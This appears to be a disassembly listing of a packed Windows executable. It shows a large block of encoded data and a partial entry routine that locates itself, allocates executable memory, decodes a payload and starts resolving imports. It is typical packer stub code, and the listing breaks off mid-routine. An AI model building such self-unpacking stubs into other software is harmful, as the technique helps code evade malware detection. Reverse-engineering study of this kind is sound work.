		dd 0E52C2489h, 85213637h, 418FF666h, 85F9DA0Ch,	6C1855B8h
		dd 8427DE85h, 0E0FD7387h, 0C975139Fh, 3325C069h, 1AC9325Dh
		dd 90A3631h, 3A77AE0Ah,	9245FC08h, 0F4BCA945h, 3AF50BAAh
		dd 3667E46Ch, 0BF083702h, 908865Fh, 47504CAh, 86250CA1h
		dd 973947A1h, 43421A24h
		dd 5A4B4E55h, 0CD598508h, 0ECC0E30h, 34534150h,	4F4E094Fh
		dd 451A0554h, 0F12B185Ch, 41501B4Bh, 0DAF6A309h, 481C9C26h
		dd 9465A2Ch, 2C223087h,	1820FD9Ch, 632C2A57h, 285B5D10h
		dd 0A6DA3308h, 401C8180h, 0E7C0F917h, 31533534h, 4F481D98h
		dd 53EC1265h, 2B893D68h, 0B80E6978h, 5310312Ah,	0DE416D9Ah
		dd 0D3F42875h, 0E3520C88h, 6CB29DEBh, 0DEA0A271h, 49530F8Ch
		dd 310CD4F2h, 0C5676590h, 0FCB06564h, 2E2D3176h, 14BD6236h
		dd 6BF99E20h, 0EF784A6Ah, 4428ABCBh, 352951EDh,	3D50B903h
		dd 85347B2h, 351B8A70h,	0AF0C2DC5h, 85FFEB51h, 0F2F13057h
		dd 0A843FC0Eh, 4C6F0C53h, 0D09008B5h, 2A924E90h, 42985454h
		dd 46624360h, 5A494847h, 625C54Ah, 0C2515025h, 56555401h
		dd 5A595857h, 67CBBE6Ch, 6B6A6481h, 9F4446Ch, 2C8871C7h
		dd 777601F9h, 207A7978h, 3348320Fh, 38F45030h, 2F2B3917h
		dd 0D4D34CF2h, 2D096201h, 5241E156h, 74E17761h,	0E5009D2Bh
		dd 493F226Fh, 0CA70273Dh, 0DE34C690h, 0AFE2ED0Eh, 5C2C1A55h
		dd 41208932h, 0F34E7D54h, 1F7F06F1h, 0DF442510h, 0EB501C81h
		dd 0ADC22A4Ah, 19056464h, 601FBFFh, 18FDD803h, 54631F81h
		dd 0C31A604Bh, 5C0728F5h, 400DC28Fh, 7056010Ah,	77448C01h
		dd 7509C876h, 0F326C687h, 0F29267F1h, 198772F9h, 0C0F9D463h
		dd 750362C3h, 8517331h,	71DD64B8h, 7BFB0F0Ah, 0D50780ABh
		dd 3ED773Ah, 5C7C941Eh,	89C0DB56h, 0B8F8FD1Fh, 96E21621h
		dd 33CA45EBh, 3489BC2Eh, 5C0F0430h, 52BFBC31h, 7209DC04h
		dd 0B777478h, 1542705Fh, 6518DF54h, 0D42F3241h,	20321F07h
		dd 3AD3A3Ah, 61240968h,	28A9682Ah, 4DE5F268h, 10318A10h
		dd 7FD827h, 0FFCA8166h,	5200420Fh, 0CD58026Ah, 53C2Eh
		dd 0B8EF745Ah, 4A9D5E21h, 0AFFA8B06h, 3906EA75h, 2451FFE7h
		dd 4151204h, 7C36E808h,	0F7828528h, 0B27C2FA0h,	0A089204h
		dd 0FC480804h, 56708ABh, 10030B01h, 948A999h, 16D0117Fh
		dd 4E9C04A1h, 5CA00599h, 7A4C0A5h, 4004642h, 0EB8A885Dh
		dd 110EC91Ch, 208E89Fh,	7948102Bh, 583A4CC1h, 42E098B0h
		dd 0C3C08AAh, 180048Ch,	0FD28E0CCh, 0C82047Fh, 8086ADD0h
		dd 0E581E876h, 7886FA09h, 6483104h, 2432B020h, 0CCFD0058h
		dd 0B0496445h, 0AE00DD70h, 0D2962C74h, 0AE0D5E60h, 1970641Ch
		dd 167C4F02h, 4C003C8Dh, 0E2F19680h, 0CE4D072Ah, 6AA611h
		dd 726EAF20h, 290CF437h, 425241F1h, 1C0D3458h, 22BAADF0h
		dd 0BF4A81Ch, 20036008h, 454D0904h, 0DD49574Fh,	12F05FA2h
		dd 2E0338h, 28293032h, 10011898h, 0CC670490h, 440AC803h
		dd 0D8141848h, 8998D068h, 87F81707h, 3CD28C4h, 8702964h
		dd 0B95620A6h, 10ABCA74h, 231FA5D9h, 7CA4E4A6h,	0AA918FADh
		dd 60740EF4h, 4A582210h, 0D2446590h, 8CD67891h,	0D83C01C5h
		dd 0B64F8850h, 0FF20881Bh, 0F42E8403h, 46486062h, 0EE664804h
		dd 0A4020915h, 28C510B2h, 0C1978E1h, 1C22B44Dh,	98D87081h
		dd 0D24FC893h, 3DA91103h, 2CB257BEh, 23A63221h,	3D809258h
		dd 0E010EE8h, 10144318h, 6A04608Ah, 1FC051F8h, 6ED23B21h
		dd 0C5810014h, 0E800317h, 99714AE9h, 508AF101h,	2857A6Fh
		dd 0E890E45Ah, 604630F2h, 0D8186E54h, 0E82CDA5Eh, 0C2F2B20h
		dd 803940Ch, 6D2CD5B4h,	8099DE28h, 0B248262Eh, 90E2768h
		dd 8B07A40Fh, 7C02040Bh, 9708A520h, 13DAA55Ch, 24834308h
		dd 36310D24h, 341CCCACh, 361A351Ch, 0B3023718h,	6F8364F8h
		dd 78B66382h, 0D9C01AB7h, 2A888A09h, 0F80215CCh, 188C28C6h
		dd 0C00067F1h, 2180310h, 2E1663C6h, 810139Dh, 98221C55h
		dd 5C0A0D05h, 0D7562F5Fh, 3EC28869h, 4AB80680h,	1C4D9F00h
		dd 8611CF7Dh, 0BD4B11Eh, 88BD577Ch, 1752542Ch, 1383201h
		dd 7D580CB8h, 40007571h, 0BC47C6EBh, 0AA74E71h,	97B5D01Ch
		dd 9497432h, 4034B599h,	0A442E0CFh, 91C6882h, 38915A96h
		dd 84B29CDh, 24448B00h,	0FAE005FCh, 8FEB4AB2h, 7F304518h
		dd 700BFB95h, 2810EB39h, 4F02D19h, 103666B3h, 35108704h
		dd 0B098BCE4h, 25F33723h, 3C01EB77h, 0C118759Fh, 0B402459h
		dd 50CC1BE2h, 0A8F45906h, 9FF851Fh, 72424D53h, 0C8CAE99Bh
		dd 0FF2AC8BCh, 625007FEh, 430050B7h, 54454E20h,	5B524F57h
		dd 9D941D4Bh, 4D41CF47h, 6C13109h, 641E6B02h, 0B5606B4h
		dd 0D74EC6E7h, 6B08CC25h, 75FC6777h, 331E7060h,	0CC61312Eh
		dd 32484D51h, 5D84584Eh, 2EDD3367h, 549B16BCh, 309B3220h
		dd 71A6167Eh, 218CA452h, 0BD079073h, 840CA242h,	0C581A4DCh
		dd 0A7360A11h, 807CB0D3h, 9AD96970h, 50C55398h,	97043B23h
		dd 8AE00882h, 119D296h,	92336E4Ah, 73367738h, 3055EA77h
		dd 6E6EA02h, 35563970h,	703CF624h, 4F4EF92Eh, 0D8ACDA2Bh
		dd 43842008h, 5957C8DAh, 32E0B9Fh, 3246E51Fh, 8994724h
		dd 6380F40h, 0FD838672h, 15204195h, 30E0888Ah, 44E04FF3h
		dd 198180h, 0E4F27A6Ah,	0AF281C49h, 74253002h, 97536710h
		dd 485CD9E2h, 6D8D75E0h, 256B2154h, 985E367h, 0E4B231BEh
		dd 89326206h, 180A10D6h, 54BE0838h, 39CE3078h, 9B500B49h
		dd 3F02213Eh, 64284738h, 0A0A24364h, 8204DC08h,	0C818F706h
		dd 0A6BADE71h, 9F7AB897h, 0C5AABB01h, 402C9C03h, 38A5CB3h
		dd 6C458C11h, 7512DA52h, 970D40Eh, 0C8A75963h, 0AD25116Ch
		dd 0EE10A002h, 1C4EFB4Bh, 4C295437h, 0C9CD26B7h, 0B8944659h
		dd 45CBCC50h, 84CDD43Ah, 0B83E0111h, 843404EBh,	19286A00h
		dd 0D0B10C39h, 0A89B2C11h, 0D94F02DFh, 84EFF52Eh, 570C024Ch
		dd 60E2A4F4h, 850CA010h, 0A40A28CDh, 0F742B13Dh, 0CA06208h
		dd 0ECE28831h, 46EC47A4h, 14950908h, 7C501840h,	110C970h
		dd 82148CFh, 1489D1FCh,	85780EBFh, 5BAB0113h, 22DE9A6h
		dd 1411F889h, 0FFC40E2Fh, 660E22FEh, 0AC339924h, 90847FDh
		dd 84D8313h, 86B98F44h,	0DAB705EEh, 64102F25h, 93200Ch
		dd 0C80DAD08h, 0F02CC08h, 0B880D849h, 70014018h, 0F842184h
		dd 80285273h, 4B3C958Dh, 4202C880h, 6C310F84h, 13032E2h
		dd 7091A89Ah, 6F893457h, 508CD714h, 71C09ECh, 45E8E4FFh
		dd 121B3C01h, 0FF087515h, 5A06EB42h, 0BA02C026h, 5042B68Ah
		dd 32D01E3Ah, 31346212h, 9A937115h, 4541B18h, 4E841CF3h
		dd 0E9283382h, 0ECC3080Bh, 1B0A40E7h, 4528EEA5h, 33622324h
		dd 43890370h, 45C90817h, 3AF95D74h, 2001110Eh, 120AB8E1h
		dd 0BB312946h, 8C5C030Fh, 0A32E34EFh, 655C8952h, 20018850h
		dd 0E30EFBDCh, 0C2A84F09h, 27765750h, 0D0483F25h, 32074FC8h
		dd 0D316704Bh, 5A7812F0h, 6EBF0447h, 7B0388E1h,	0E1660310h
		dd 101E2001h, 1D110390h, 121C313Ch, 682AE004h, 29DD4AA1h
		dd 239EA42Bh, 7505C89h,	6559455Eh, 0D81C123Eh, 8A90426h
		dd 4221C01Fh, 4A84E82Eh, 0AD637954h, 0D7023208h, 0CBE5ACE5h
		dd 5604916Ch, 0C8E1ACCAh, 7CC90101h, 0B048011h,	0AC14289Ah
		dd 888F877Ah, 68C70480h, 72B3C088h, 4285A381h, 8B40215h
		dd 0A0B695B2h, 0EB080672h, 0AA85560Bh, 461E088Ah, 0C8B3110Ah
		dd 41ED70D5h, 86272C00h, 0A059D226h, 0AA5E38B3h, 0C56F8808h
		dd 0E25A655Fh, 865AB83Ch, 5B182F56h, 8D661868h,	103C78C4h
		dd 0A8106E8Dh, 62708413h, 35BC7257h, 0D08A1465h, 0F13678F2h
		dd 0C4239C1Bh, 40C02A40h
		dd 3D8D9F4Eh, 11CEA004h, 580698Fh, 2E05303Eh, 0F6D0011Bh
		dd 0A48FB5B0h, 3C2360C4h, 91D4F7DCh, 0A42868A0h, 17EA4D51h
		dd 3C1143B8h, 41248A08h, 0FBBC0B2Fh, 4D08A079h,	0D9722D52h
		dd 0C1536493h, 6609BD59h, 531D4D7Dh, 365A0230h,	0E04B0875h
		dd 0C029B5CEh, 190940Ch, 3DBFEBCAh, 7A156785h, 0E4082B76h
		dd 1F48572Ch, 0EB88444Fh, 5534CA01h, 3C791CD4h,	84F46101h
		dd 44045990h, 0D018B0F5h, 74179BA4h, 9CCC129Fh,	8A47Dh
		dd 5B03EB60h, 0F8E8C353h, 310070BEh, 13404C0h, 0F0507FD8h
		dd 10021CD2h, 0FD30DC40h, 28412361h, 0DDC6C9C2h, 0C166E0E2h
		dd 1EC1EA7Ch, 302F630h,	1C097FFh, 0FA584313h, 1C08F6C9h
		dd 3D61D5E0h, 77BD1979h, 9101B3FCh, 280C012h, 0E7655B4Fh
		dd 959F0691h, 805C0C2Ch, 0FD09818h, 0A1126BFFh,	330036AFh
		dd 7EF8C346h, 145A3428h, 3697039h, 6B775C65h, 63768973h
		dd 0BF1674C3h, 93D7D492h, 2E112948h, 6017A70Ch,	802C6FA7h
		dd 0AFA8BD80h, 0E0C47D8Ah, 2920F4BEh, 159F0189h, 0CA18C42Ch
		dd 0B003983Ch, 97520001h, 11D059CAh, 0A0E0D5A8h, 800DC90Eh
		dd 26001151h, 371D55B5h, 4600C5C1h, 8F6379ABh, 70E8682Ah
		dd 3E358969h, 794CC099h, 0F505A19Eh, 4284F808h,	14FC21F9h
		dd 2F285F27h, 21374205h, 8440103Fh, 42440441h, 2434408h
		dd 0AD404545h, 2047C400h, 1023484Ah, 444A8849h,	114D224Bh
		dd 844F084Eh, 9F289842h, 5912205h, 22099222h, 95220393h
		dd 11962241h, 4A219722h, 14A79899h, 4307666h, 75F42009h
		dd 89E0E844h, 24D412D8h, 91C048C8h, 3B0410B8h, 0A811B033h
		dd 44A40922h, 8C8994A0h, 78248012h, 64917048h, 5C446022h
		dd 12508958h, 48402448h, 22309138h, 20244428h, 144C1889h
		dd 120C8910h, 10112E04h, 0F03274F8h, 0E024E809h, 0D091D848h
		dd 0CCC85C40h, 0B409C011h, 0A812AC89h, 9448A024h, 84228C91h
		dd 8B7C8044h, 917048FCh, 44602268h, 48895058h, 38244012h
		dd 0CCA13448h, 20112819h, 22180991h, 3C084510h,	62089020h
		dd 473FC09h, 91E448F0h,	44CC22D8h, 9889ACC0h, 80248812h
		dd 48915048h, 1804022h,	27F991D0h, 323CB368h, 34093851h
		dd 1C482824h, 10221491h, 40FC0444h, 0F489F872h,	0EC24F012h
		dd 0E091E848h, 0D044D822h, 12BC89C8h, 48A424B0h, 2290919Ch
		dd 58804488h, 0A1784240h, 4C034820h, 64701922h,	54600968h
		dd 0E458A368h, 4C33F49Eh, 9EA44421h, 213C33FCh,	2C092234h
		dd 891C2444h, 149A1414h, 8211033h, 71FC091Bh, 24DEA4B9h
		dd 6371EC13h, 0D8C4E028h, 11CCD82Ch, 89C809D0h,	24B812C0h
		dd 91AC48B0h, 45A422A8h, 0EA5422A0h, 98A84C49h,	33E9A8A4h
		dd 19808C54h, 0C8ACA478h, 0D4A06809h, 60196893h, 9915819h
		dd 91482250h, 113C1978h, 8067F22Ch, 18192419h, 48080991h
		dd 70F4848Ch, 0EC09F00Ch, 8A14E489h, 19D0339Ch,	0A4DBA4C4h
		dd 0B839C08Ch, 0A4B409C8h, 9DAC51B0h, 0B826A419h, 0B878255Fh
		dd 6FB1704Ah, 0ED6C62C0h, 219F6BE5h, 9708B778h,	0EC69A76Fh
		dd 0DB8B6819h, 66BBD572h, 71EE1814h, 6F2C42EDh,	2C41294h
		dd 50AE6264h, 0A377081Dh, 6108340Ch, 2C49BF34h,	0CDC45670h
		dd 42140F49h, 901E4234h, 0F3119B0Ch, 18AF426Dh,	88D110D1h
		dd 0F8D86537h, 742610B4h, 0A1767A1Ah, 6EE16D08h, 731079E1h
		dd 7470756Ch, 0EE696288h, 66684463h, 0CB93DEFFh, 3E786581h
		dd 93DE84C9h, 4F64C534h, 33110C26h, 7A367771h, 2CDB4870h
		dd 525FE7E2h, 26AB0C25h, 74F2115Bh, 0F281C93h, 32230884h
		dd 3839086Bh, 87B1CBCBh, 456D6542h, 9019B60Ah, 97E2634Fh
		dd 43E8A25Fh, 4AF0430Ch, 0E76D01E0h, 68F8E5BEh,	37AB5078h
		dd 169C5DFEh, 848C6CDEh, 0C574722Ah, 708092E9h,	40084A51h
		dd 75496E18h, 6665C360h, 8E164161h, 8EA1CA19h, 83FA2014h
		dd 0FA586808h, 53B5222Ch, 34230835h, 0E0983190h, 0A0E77263h
		dd 794FF745h, 38070AE1h, 6E8129Fh, 946B4445h, 0B844120Dh
		dd 9630A2DBh, 700EE10Ch, 0B8082187h, 0E18C7046h, 4109B819h
		dd 50F619B6h, 6477701Ch, 852EC24h, 0ECCA2808h, 0B810D53Eh
		dd 0A4204D3Fh, 40120C64h, 96D86BCh, 7B19AF11h, 0A0882C0Fh
		dd 15746CB5h, 44095C1Ch, 0A75636Fh, 51A75805h, 0BC531E30h
		dd 479F6EC8h, 1B6C415Ch, 544F8474h, 62ADA721h, 32A8EE07h
		dd 8A54171h, 8B34EF5Ch,	630C0DBBh, 1EC35D18h, 12706814h
		dd 282D8553h, 4620BAC2h, 0E999D758h, 74BD42B8h,	63900CA5h
		dd 1C8248F6h, 0A488140Ah, 64661C23h, 0E51F6FB0h, 9AE1FA78h
		dd 30D6EA2h, 0FE647518h, 5DDE8AA7h, 5C55360Fh, 1C49874Dh
		dd 0BDD39F48h, 633779C4h, 439D8965h, 3FD8DCF6h,	0ED7B014Dh
		dd 0D2421A4h, 37C17161h, 69630D10h, 10352673h, 0B16D62DCh
		dd 70CC3FB0h, 8DBAC4Ch,	47C99DDh, 0BA909424h, 8C396B13h
		dd 536414A6h, 5167103Ch, 3428A6B2h, 0A470750Ah,	6E17A348h
		dd 594137F8h, 79723C8Ah, 686B1B28h, 4508F442h, 0A6882138h
		dd 0C54856CCh, 0AC8D5234h, 182295FFh, 0DB916C75h, 5DCC3284h
		dd 34D2CC6Ah, 9418E864h, 0A2726246h, 759C2712h,	6565082Ah
		dd 4CB4A450h, 406B2ABFh, 7448707Fh, 6F6AC218h, 0A2004668h
		dd 621811B6h, 66E8B1E2h, 416D5B26h, 46DED32Eh, 2EE56278h
		dd 0E755DC95h, 6D1FD430h, 51685B4h, 0E0685103h,	810C9CFAh
		dd 0A62A6908h, 0DB044CACh, 0D4087E02h, 59715C88h, 0A8963074h
		dd 2444D3A9h, 7B5D7875h, 6308EFF9h, 0A6F6CCB7h,	2BDADC48h
		dd 47082271h, 57F24173h, 730C3AC5h, 1CA7F875h, 82D06E28h
		dd 1053F42Ch, 20311B00h, 0DE0A0D2Dh, 0D9276310h, 0BF2DE4FCh
		dd 97545F6Ch, 66E75BE7h, 0D0053C5Fh, 387608E2h,	74364398h
		dd 33797877h, 1E3FD2B9h, 319E6866h, 0B6343F3Dh,	0FD12844Ah
		dd 27983AE9h, 7264422Eh, 0EE787739h, 0E928D54Ah, 0E92D5390h
		dd 27399304h, 0FD849D6Bh, 7CA3FE35h, 38FD7CF0h,	334A3190h
		dd 30A03CF8h, 18A51466h, 652CD23Eh, 3692C38h, 42F03989h
		dd 3415081Ch, 14283532h, 0A114ABA8h, 0C4A31B0h,	20373E60h
		dd 26E52F22h, 25A1440h,	0C550D574h, 883C0F91h, 879CAE35h
		dd 85339184h, 5028AE10h, 85949333h, 721386D0h, 0A4462014h
		dd 69D32C84h, 31CDC0ACh, 3A300D1Ah, 100DE4CDh, 0FC7151AFh
		dd 7C544678h, 72E7BA50h, 0B961FB6Dh, 5FB6CA6Eh,	0D630D4F4h
		dd 2FFC2405h, 19053821h, 78186B04h, 0AEF41032h,	7AEA2FD4h
		dd 5E4C4670h, 0DD01B962h, 0C77682ABh, 748A7414h, 0B77A93A3h
		dd 4AC062B5h, 14AC1DF9h, 0BE98C54h, 0EB03D815h,	88B97015h
		dd 10E1F181h, 3874805Eh, 0E201FF31h, 0E805EBF9h, 4982FE6h
		dd 64DB0733h, 3330438Bh, 70B00C40h, 78F4AD1Ch, 45E80818h
		dd 0FC56532Bh, 3F3C7D5Fh, 39E3B5Ch, 5B18FDDFh, 0C3830D20h
		dd 337E0479h, 0C907F773h, 0C1C832ACh, 0C0840510h, 2BF61D75h
		dd 58E90ECAh, 0EBD1D8A0h, 24E4035Eh, 8B6646C3h,	1CA6970Bh
		dd 52BEEF10h, 5B8FC7BCh, 68A9E0FFh, 0AEACA94Bh,	0BA540990h
		dd 46E0092h, 8BD6FF84h,	0EC4E81F8h, 0C38EF697h,	97016A53h
		dd 7083BA93h, 3E2CDFB0h, 6D0668AEh, 0D4349C33h,	106AD880h
		dd 0CBA5352h, 5A603063h, 0B4395036h, 1A55B702h,	0E2D45807h
		dd 3B26BF0Ah, 57B4E5A9h, 0E7B0D5EFh, 0C2A69001h, 82504001h
		dd 733B7A14h, 0D310FA1h
		dd 5769D310h, 0C033428Ah, 2DA57C8h, 0A05443B0h,	7972328Dh
		dd 81668019h, 11027D1Ch, 0EED754Ch, 3226F04h, 0DBABE42Ah
		dd 83022C70h, 758B20ECh, 83B496EAh, 5D89980Fh, 34A1E704h
		dd 65143E50h, 0A1A9C814h, 0CFFCB38h, 0F8D44589h, 55F68E90h
		dd 24FF75F6h, 0E0406679h, 19F87E83h, 0E9C5850Fh, 0DF9938Bh
		dd 8FC371F7h, 5E241845h, 6A24BF02h, 0FE6EC0C6h,	0D33D0ABAh
		dd 14A5C6Bh, 840F401Ch,	0C38528Dh, 3ACDA74Ch, 5DAF14h
		dd 0C0859D83h, 0C8B91E74h, 5357D441h, 104D8D0Ah, 1C401F51h
		dd 20BEB9BAh, 39C2CBF5h, 83C5EB40h, 0BA935C10h,	446A029Dh
		dd 8BE0CA81h, 0ABD7C8FCh, 3B6698D4h, 0FDE21959h, 50C55283h
		dd 77000149h, 4094F12Ch, 0FE1F5826h, 3CFE53C7h,	0DE341A01h
		dd 863E1418h, 0CF531497h, 0C297727h, 56850284h,	0D71B0731h
		dd 0C10C46B1h, 0E32A14B8h, 13E62FA8h, 7D181D90h, 90C0ECCh
		dd 7CF08804h, 1916E481h, 0EA82F78Dh, 0B0CEACFBh, 0FDB20Ch
		dd 89BED5ABh, 0A5C9878Eh, 0E6A8931Dh, 0F028D354h, 85A0FBE6h
		dd 0A9FFBF83h, 8D83A0D5h, 0AFD201C3h, 0C5EAA8CAh, 89720CDDh
		dd 0E7631262h, 0E573C590h, 7BD46BFCh, 913C9EAAh, 8C75BC25h
		dd 0ADBA03C1h, 3CC296F7h, 0ADFDEF1Ch, 0BC10F821h, 161AE295h
		dd 0ACE7433Ah, 80BE4368h, 8BECABB0h, 0D69223B4h, 35FAEA42h
		dd 71C79B88h, 0A6F52AB2h, 763A3EA1h, 0C1C50121h, 0C3E8A0AEh
		dd 92C43A84h, 87C96CCDh, 0E0FA071h, 12EBA5A9h, 0D6855C3Bh
		dd 0C93A3CD3h, 4EC8598Fh, 3A6CE4AEh, 0BAF08DCFh, 0F8F54AAFh
		dd 92CC1418h, 0FFE8B01Fh, 3AC253AAh, 40B7D0B0h,	908F01E0h
		dd 0AF10BB8Bh, 0BDB3E0BAh, 0B98A24EBh, 0ABFAF822h, 3EF1C843h
		dd 43A5BC6h, 0CA84DF96h, 0C79AC42Eh, 0A713BD38h, 15ED98EBh
		dd 26FDECE1h, 1A03A721h, 17442B6h, 1FE65AAAh, 0E1551065h
		dd 4102DE81h, 96385470h, 6618C42Fh, 0D995100Ch,	492D4353h
		dd 3739538Bh, 14ADF32Eh, 994B5937h, 4FC13A06h, 7E66E22Ah
		dd 542F2027h, 0AA7A7296h, 8CAC534Eh, 0EDF99771h, 9D0A3AC6h
		dd 0C55BEA51h, 9D793ECBh, 0C2BDA472h, 0FFC57566h, 3C21AC21h
		dd 592315EFh, 6356A4C0h, 0F564C150h, 5542E9F8h,	0BBFDC79Bh
		dd 87985E26h, 2C1D722Dh, 74B62C67h, 20756D3Ah, 845C760Bh
		dd 6DBD7441h, 29640865h, 0C1E22B34h, 0BC746916h, 9AE7908Ah
		dd 861C140Ch, 4858B4F9h, 3D7E6839h, 27346F2Bh, 0CD5E3354h
		dd 0A022E1Dh, 0B63BD174h, 7A2748B6h, 194365DFh,	0B925C542h
		dd 7A5CCE7Bh, 455394A4h, 0BD732926h, 0A870A34h,	291A5799h
		dd 57864E55h, 38DA2065h, 0BF256575h, 0D3EAFC4Ah, 70A968AEh
		dd 38E73AF9h, 1A5554C9h, 63168783h, 8BB1D21Eh, 438FB63Ah
		dd 3FCB683Ch, 3A5D3A71h, 8ABF8604h, 0F4214215h,	0E15E738Bh
		dd 7ED2A56Bh, 52137A78h, 0EA7D484Ah, 2E92B822h,	493B90AFh
		dd 8568A6B1h, 0DEB0A479h, 37B47687h, 0DF3D2475h, 0D506623h
		dd 7465266Bh, 3D156EBFh, 417903EEh, 0A07A3633h,	16643834h
		dd 0E666845h, 47A767B6h, 37354352h, 6C5531DFh, 0C233F544h
		dd 0EE46B899h, 0A8DD6375h, 0F55C5058h, 8965889Fh, 9B75642Eh
		dd 172BF5D0h, 7306B87Ch, 0BE6DF067h, 8444A7EFh,	2F233187h
		dd 42F17627h, 0B4873125h, 0AF54D44Fh, 0DC439088h, 8B4E7733h
		dd 0AD3E618Eh, 1A348CF3h, 79F62E39h, 32483B84h,	145BEF9Eh
		dd 9FBE9E34h, 0F24D4CC0h, 8CE7962Fh, 743BF346h,	2349DDE9h
		dd 0DA2291C2h, 0EDC6758Ch, 62AA7ABh, 29DB0640h,	32BF850Ah
		dd 0B2823D16h, 6A5C3732h, 68427C4Bh, 25507110h,	4C100E72h
		dd 990E4230h, 91F35B02h, 50045D5Eh, 44D14C0Dh, 34903C91h
		dd 4652091h, 55DC2E5Bh,	94CB0BDAh, 0F4159161h, 0DB6566D3h
		dd 3D999F6Ch, 9DCEBC20h, 4E5FE68Bh, 0C020AD37h,	413A4549h
		dd 6F2579B0h, 2BDE6C43h, 2A7E5020h, 0DE53491Dh,	0BDC4F94Ah
		dd 953A2C18h, 1C5AB859h, 5D5CF15Ch, 0F1697666h,	0CE465A53h
		dd 3D378712h, 3DC24427h, 0D19D4734h, 4EA62890h,	9B98ED2Fh
		dd 99BADC20h, 490708E8h, 8E9F2498h, 363164F4h, 8B358983h
		dd 783C8561h, 4E533A4Dh, 45FA4529h, 490F452Dh, 0CCB92A44h
		dd 1C62892Ch, 0D2313839h, 7C10AF63h, 3218A9C8h,	5D02B22Dh
		dd 20957274h, 65350EEAh, 30CC5937h, 5A64B4C6h, 14BECD4Fh
		dd 65D6AAB7h, 0D24D85BAh, 6407105Eh, 31156335h,	1D3FC88Dh
		dd 3B78134Dh, 0B910495Ch, 283157DAh, 0B15AF01Eh, 11D02D04h
		dd 42FF398Ch, 496B1250h, 81A4319Fh, 94242F72h, 29AA9361h
		dd 56B9133Fh, 4475EA35h, 3F2BF50Eh, 0D819DE65h,	75D7726Eh
		dd 8B5649BCh, 2A65CED4h, 5711386Dh, 0CC6CCACCh,	1266674Fh
		dd 0BE639761h, 1D74149Eh, 0AEC0C4E5h, 0EE3E55D6h, 24EEDE6Ch
		dd 0C55FF258h, 0CC561914h, 590CA276h, 88392FD6h, 0D12CE22Fh
		dd 0AB449BA3h, 0A3FFCF64h, 41302E36h, 70F1EB5Ah, 0C443214Ah
		dd 75E050D3h, 0A995DCDh, 3129DA9Dh, 4DC233D8h, 5318A96Dh
		dd 8D585117h, 2CD2D4E1h, 30893809h, 24010A14h, 721C6408h
		dd 1C083914h, 238C46FCh, 0C8EC91F4h, 1401E8E8h,	0D8CA0CE0h
		dd 72D06408h, 1CBC39C4h, 0AC478EB4h, 8A731C11h,	986510A0h
		dd 39880832h, 8E7C1C84h, 0C8747052h, 7260E464h,	1C503958h
		dd 40478E48h, 30943823h, 3924B244h, 8E141C1Ch, 4230C47h
		dd 348BFC8Ah, 0CE45552h, 0D4886882h, 345EA508h,	0C3F7114Dh
		dd 0CC43CB50h, 97CCED17h, 37A4C4ECh, 0D80B19ACh, 75948853h
		dd 3120CF08h, 63932D88h, 7A6EE50Fh, 0BDE47555h,	797311C7h
		dd 74E460FBh, 9343592Dh, 3A37AB58h, 0C148D718h,	7A392E31h
		dd 0CE0CBF50h, 2F6C0335h, 62698270h, 0B5E95A06h, 10F4733Ah
		dd 0B16C06B2h, 0CD2C2E08h, 6BA2B96Ch, 8A1657Fh,	0FAD1D2Dh
		dd 6DA49CE5h, 759CE92Dh, 84168DDh, 1EAF7873h, 15305465h
		dd 0AB3D7770h, 1467B528h, 64E738FAh, 607EA5B8h,	985095EFh
		dd 0A43A202Dh, 51D99D4Eh, 7966943Ah, 40A44251h,	0BBF4D08h
		dd 0E549131Ch, 97113036h, 0F0B4407Bh, 9085034h,	13701653h
		dd 0E1D1A0Dh, 4A72F96Ah, 65A7539Dh, 2763CB3Ah, 3A492F3Eh
		dd 0C5905378h, 6C818265h, 43688F59h, 896E7362h,	9750F88Eh
		dd 34A0E473h, 41EC298Dh, 4B04B2ECh, 7FCFCAEh, 87CA88FBh
		dd 0E1D4A557h, 0A30004CAh, 68CD9F82h, 0D400EE5Dh, 1FC7575Bh
		dd 699AB344h, 8B95A13h,	2B2F1990h, 0F1E1C060h, 21EAC4A7h
		dd 239C81D9h, 6438606Fh, 2B0EDC73h, 0FD00DD01h,	0A58EEBEDh
		dd 99CC0183h, 0F59BB8DCh, 7E84E3A7h, 0EFC87FADh, 47989D62h
		dd 0FA00ABA9h, 8CD5B998h, 70A6DDD9h, 0DF01AF93h, 0B2EFF403h
		dd 10C08CBBh, 0E4CA93h,	8EF6E999h, 0ABB88BC5h, 97B89CBDh
		dd 44F7CF1h, 0C8BB7069h, 2CF36C9Dh, 0FFF572B3h,	29ED224Bh
		dd 82237335h, 0B35670B7h, 9CE1974Fh, 93BFB53Fh,	25FB6E10h
		dd 0F812953Dh, 5C219079h, 16AB92ACh, 0BF3013CCh, 7A0DEA36h
		dd 330CE578h, 9D107A4h,	3D60C090h, 48FDF0Bh, 8E101B54h
		dd 0B41CEA65h, 0CC19D142h, 3C4CCC22h, 56173F2Eh, 12E65D5Fh
		dd 0C949EF65h, 48A37940h, 0C95D7220h, 0A53A5F8Dh, 203EA950h
		dd 0B075h
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

		public start

start		proc near

var_24		= dword	ptr -24h

		pusha
		call	$+5
		lea	esp, [esp+4]
		mov	ebp, [esp+20h+var_24]
		lea	esi, [ebp+24Ch]
		lea	ebx, [ebp+113h]
		xor	edi, edi
		jmp	short loc_4288DC
; ---------------------------------------------------------------------------

loc_4288CD:				; CODE XREF: start+31j
		push	dword ptr [edi+esi+4]
		push	dword ptr [edi+esi]
		call	ebx	; recv
		add	esp, 8
		add	edi, 8

loc_4288DC:				; CODE XREF: start+1Cj
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_4288CD
		lea	esi, [edi+esi+4]
		push	ebx
		push	40h
		push	1000h
		push	70Eh
		push	0
		call	dword ptr [ebp+1F9h]
		mov	[ebp+248h], eax
		pop	ebx
		push	dword ptr [ebp+248h]
		push	esi
		call	ebx	; recv
		add	esp, 8
		mov	esi, [ebp+248h]
		mov	eax, esi
		jmp	short loc_428919
; ---------------------------------------------------------------------------

loc_428918:				; CODE XREF: start+6Dj
		inc	eax

loc_428919:				; CODE XREF: start+67j
		cmp	byte ptr [eax],	1
		jnz	short loc_428918
		inc	eax
		mov	edi, [eax]
		add	eax, 4
		mov	[ebp+244h], eax
		jmp	short loc_4289A6
; ---------------------------------------------------------------------------

loc_42892C:				; CODE XREF: start+FAj
		push	esi
		call	dword ptr [ebp+1F1h]
		mov	[ebp+240h], eax
		mov	eax, esi
		jmp	short loc_42898C
; ---------------------------------------------------------------------------

loc_42893D:				; CODE XREF: start+E0j
		mov	eax, [ebp+244h]
		mov	eax, [eax]
